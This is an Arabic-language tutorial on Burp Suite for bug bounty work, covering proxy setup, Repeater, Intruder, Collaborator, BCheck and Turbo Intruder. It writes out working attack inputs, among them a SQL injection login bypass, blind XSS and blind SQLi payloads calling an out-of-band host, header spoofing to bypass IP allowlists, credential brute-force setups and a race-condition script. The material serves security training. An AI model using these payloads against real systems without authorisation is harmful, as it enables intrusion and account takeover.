إتقان Burp Suite — ممارسات المحترفين
Proxy, Repeater, Intruder, Collaborator, BCheck
ما هي Burp Suite — و لماذا يعتمد عليها المحترف؟
هذا الدرس عملي بحت: ليس "ما هي Repeater؟" — بل كيف يستخدمها أبطال bug bounty لإيجاد ثغرات يدفع فيها Google أو Microsoft 50,000 دولار.
الإصدارات و الترخيص
- Community (مجاني): Proxy، Repeater، Decoder. Intruder بطيء جداً (rate-limited)، لا scanner. كافٍ للتعلم.
- Professional (~$475/سنة): Intruder سريع، Scanner، Collaborator، BCheck، Extender كامل. هذا ما يستخدمه 99% من المحترفين.
- Enterprise: للفرق و CI/CD. لا علاقة لها بالـ pentest اليدوي.
الإعداد الأولي — 10 دقائق توفّر عليك سنوات
بدون الشهادة لن ترى HTTPS. شغّل Burp، افتح متصفح embedded أو أعدّ Firefox/Chrome.
# 1) Burp يستمع على 127.0.0.1:8080
# 2) Firefox: Settings → Network → Manual proxy → 127.0.0.1:8080
# 3) زُر http://burp → Download CA → استورد للمتصفح كـ "Trusted CA for websites"
# أو استخدم Foxy Proxy + Burp embedded browser (الأسهل)أهم خطوة على الإطلاق. بدون scope، Burp يسجّل كل طلب من المتصفح (Twitter, Gmail, إلخ) و تختنق الـ history.
Target → Scope → Add
Use advanced scope control → Include in scope:
Protocol: Any
Host: ^.*\.target\.com$
Port: ^443$
ثم في Proxy → Options → "Drop all out-of-scope items"User options → Misc → Updates → Disable auto-update
User options → Display → Font → ضع Mono و كبّره
Project options → Sessions → Cookie jar = scope only
Project options → HTTP → Redirections = Always (في scope)- Logger++: سجل قابل للبحث لكل طلب — لا غنى عنه.
- Autorize: فحص IDOR/Auth تلقائياً عبر تكرار الطلب بـ session أخرى.
- Hackvertor: ترميز/فك ترميز لكل صياغة (URL, base64, Unicode, JWT).
- JSON Web Tokens: تحرير JWT و إعادة توقيع.
- Param Miner: اكتشاف parameters/headers غير موثقة.
- Turbo Intruder: 30,000 طلب/ثانية + single-packet attack.
- HTTP Request Smuggler: كشف و استغلال desync.
- Active Scan++: تمديد scanner المدمج.
- Backslash Powered Scanner: للـ injection bugs العميقة.
Proxy — التقاط و تعديل
القلب. كل طلب يمرّ هنا أولاً. عطّل Intercept افتراضياً (إلا عند الحاجة) — اعمل من HTTP History.
Proxy → HTTP history
كليك يمين على طلب:
→ Send to Repeater (Ctrl+R) — لتعديل و تكرار يدوي
→ Send to Intruder (Ctrl+I) — لـ fuzzing
→ Send to Comparer — للـ diff بين ردين
→ Do active scan — لفحص آلي (Pro)
→ Engagement tools → Find references — أين يظهر هذا الـ endpointMatch & Replace في Proxy → Options: حقن header مثل X-Forwarded-For: 127.0.0.1 على كل طلب تلقائياً، أو إزالة If-Modified-Since لإجبار ردود حية.
Repeater — أصدقاؤك المخلصون الأربعة
90% من الـ bug bounty يتمّ في Repeater. اتقنه و أنت حر.
- Tabs مرتّبة بالألوان: كليك يمين → Color. أحمر = ضعيف، أخضر = critical، أصفر = قيد التحقيق.
- Ctrl+Space للإكمال داخل القيم.
- Inspector panel: حرّر JSON/headers/params كجدول، يبني الـ raw request تلقائياً.
- Send group in single packet: أساس race conditions (Ctrl+Shift+G لجميع tabs).
- Show response in browser: لرؤية رد فيه HTML/JS كأنه صفحة كاملة (مفيد للـ XSS).
# سيناريو نموذجي:
1) التقط طلب login من Proxy
2) Send to Repeater → عدّل username إلى admin' OR 1=1--
3) Send → لاحظ الفرق في الرد
4) لو ناجح: حفظ الطلب كـ "vulnerable-login.req" → Save itemsIntruder — fuzzing احترافي
هنا ترسل آلاف الطلبات بقيم مختلفة. أربعة أوضاع:
قائمة واحدة، position واحد في كل طلب. للـ basic fuzzing.
GET /api/user/§1§ HTTP/1.1
Payload: numbers 1..1000نفس القيمة في كل المواقع. لاختبار credentials في عدة حقول.
قائمتان متوازيتان. للـ user/password pairs.
كل تركيبة من قائمتين أو أكثر. brute-force كامل.
POST /login
user=§§ & pass=§§
Payload set 1: users.txt
Payload set 2: passwords.txtالـ Intruder لا "يخبرك" أن شيئاً نجح — أنت تستخرج الإشارة:
- Length: رد ناجح غالباً مختلف الطول.
- Status code: 200 ضمن بحر 401 = نجاح.
- Grep - Match: علّم الردود التي تحتوي "Welcome" أو "error".
- Grep - Extract: استخرج قيمة (مثل CSRF token الجديد).
- Time: اضغط على عمود Time للـ blind time-based.
Collaborator — الإذن الذي يصرخ من الداخل
abcdefg.oastify.com، تعرف أن الكود نفّذ — حتى لو لم يردّ شيئاً.Burp → Collaborator → Copy to clipboard
استبدل في Repeater:
GET /fetch?url=http://YOUR-COLLAB.oastify.com/probe HTTP/1.1
↓ Send
↓ ارجع لـ Collaborator → Poll now → ستجد:
- DNS lookup من target's IP
- HTTP GET من user-agent معيّن
= SSRF/SSTI/XXE مؤكدة بدون ضرر- Blind XSS: حقن
<script src=https://x.oastify.com/x.js>— انتظر assistant/admin يفتح صفحة. - Blind SQLi:
'; SELECT load_file('\\\\\\\\x.oastify.com\\\\share') -- - Blind XXE: external entity تشير لـ Collaborator.
- SSRF: استبدل أي URL في request بـ subdomain جديد.
- Email injection: SMTP probe في حقل البريد.
Scanner و BCheck — الفحص الآلي الذكي (Pro)
Scanner المدمج جيد، لكن السلاح السرّي هو BCheck — لغة DSL لكتابة فحوصات مخصصة. تكتبها مرة و تشغّلها على كل برنامج bug bounty.
metadata:
language: v2-beta
name: "Detect debug.php"
description: "ارسل /debug.php و افحص رد"
author: "you"
run for each:
debug_path =
"/debug.php",
"/debug.html",
"/.env"
given any host then
send request called check:
method: "GET"
path: `{debug_path}`
if {check.response.status_code} is "200" and
{check.response.body} matches "DB_PASSWORD" then
report issue:
severity: high
confidence: certain
detail: `Sensitive file at {debug_path}`
end ifBCheck files تذهب في ~/AppData/Roaming/BurpSuite/bchecks/ ثم Scanner → Issues → BChecks → Reload.
Comparer + Decoder + Sequencer
- Comparer: Words/Bytes diff بين ردين. مفيد جداً لـ blind boolean — قارن رد
id=1بـid=1' OR 1=1--. - Decoder: ترميز/فك ترميز بضغطة. قاعدة 64، URL، HTML، Hex، Hash. يمكنك تكديس عمليات.
- Sequencer: تحليل عشوائية tokens (session ID, CSRF). يجمع 10,000+ token و يحسب entropy. مفيد لتقييم RNG ضعيف.
Match & Replace — قوة خفية
Proxy → Options → Match and Replace → Add:
Type: Request header
Match: ^User-Agent: .*
Replace: User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1)
[ ] Regex match- تجاوز bot detection بانتحال Googlebot.
- حقن
X-Forwarded-For: 127.0.0.1لتجاوز IP whitelist. - إزالة
Originلاختبار CORS. - استبدال JWT تلقائياً في كل طلب.
- حقن debugger statement في كل JS مردود.
Macros و Sessions — للـ workflows المعقدة
التطبيق يطلب CSRF token جديد لكل طلب؟ Burp يمكنه استخراجه من رد سابق و حقنه آلياً.
Project options → Sessions → Macros → Add
1) سجّل: GET /login → استخرج _csrf من body
2) Session handling rule:
Scope: matches /api/*
Action: Run macro to get _csrf, then update _csrf parameterنتيجة: Intruder/Scanner يعملان عبر تطبيق محمي بـ CSRF بدون أي عمل يدوي.
Turbo Intruder — للسرعة الجادة و Single-Packet
# Burp → Extender → Turbo Intruder → New attack
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=100,
pipeline=False,
engine=Engine.BURP2
)
# لـ race condition — single packet
for i in range(30):
engine.queue(target.req)
engine.openGate()
def handleResponse(req, interesting):
if "success" in req.response:
table.add(req)30,000 طلب/ثانية ممكن. استخدمه ضد credential stuffing على بيئتك، أو race على coupon redemption.
نصائح يستخدمها أبطال bug bounty
- كل project = ملف منفصل. File → New project → Disk-based. لا تخلط أهدافاً.
- احفظ كل ساعة. Burp يتعطل أحياناً مع projects كبيرة.
- Logger++ ON منذ اليوم الأول. ستحتاج للبحث عن "أين رأيت هذا الـ parameter؟" بعد أسبوع.
- اكتب Notes في Repeater: كليك يمين → Add comment. السرعة في الكتابة الآن = سرعة في الـ report لاحقاً.
- ابحث في History بـ Bambdas:
requestResponse.request().urlContains("graphql")→ فلتر فوري. - استخدم Param Miner قبل أي شيء: قد يكشف
X-Original-URLأو header مخفي يفتح كل شيء. - لا تثق بالـ Active Scanner وحده. هو يجد 30%، الباقي يدوي.
- Save state قبل كل تجربة خطيرة. لو دمّرت session، استعد.
- Burp Collaborator دائماً ON. ربع ثغراتي الحقيقية كانت OOB.
- اقرأ Release Notes لكل تحديث. PortSwigger يضيف تقنيات قتل (مثل Inspector) باستمرار.
بدائل Burp — متى و لماذا
- OWASP ZAP: مجاني تماماً، CLI ممتاز للـ CI/CD، لكن UI أبطأ من Burp Pro.
- Caido: 2024+، Rust، أسرع، UI حديث. منافس جدي لـ Burp.
- mitmproxy: terminal-based، مثالي للـ scripting Python و mobile.
- HTTP Toolkit: للـ debug أكثر من الاختراق، لكنه ممتاز للـ mobile/desktop apps.
مصادر للإتقان
- PortSwigger Web Security Academy — مجاني، يعلّمك Burp و الثغرات معاً.
- BApp Store — تصفّحه شهرياً، إضافات جديدة باستمرار.
- YouTube: PortSwigger Research — James Kettle يكشف تقنيات قبل أن تظهر في Burp.
- Twitter / X: تابع
@albinowax,@Rhynorater,@JHaddix.